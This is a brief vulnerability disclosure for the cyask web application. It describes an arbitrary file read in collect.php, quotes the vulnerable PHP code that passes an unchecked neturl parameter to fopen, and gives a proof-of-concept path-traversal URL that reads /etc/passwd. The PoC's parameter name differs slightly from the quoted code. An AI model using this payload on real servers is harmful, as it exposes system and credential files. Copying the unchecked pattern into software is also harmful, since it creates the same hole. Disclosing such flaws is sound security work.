This vulnerability leads to that the attacker can read any file on your webserver when it installs cyask.
The $neturl variable in collect.php is short of enough check. When the attacker registers a new user, he can pass the user check and then submit any filename to $neturl so that collect.php can read it.
The vuln code like this:
$url=get_referer();
$neturl=empty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']);
$collect_url=empty($neturl) ? $url : $neturl;
$contents = '';
if($fid=@fopen($collect_url,"r"))
{
do
{
$data = fread($fid, 4096);
if (strlen($data) == 0)
{
break;
}
$contents .= $data;
}
while(true);
fclose($fid);
}
POC:
http://XXX.com/collect.php?net_url=../../../etc/passwd
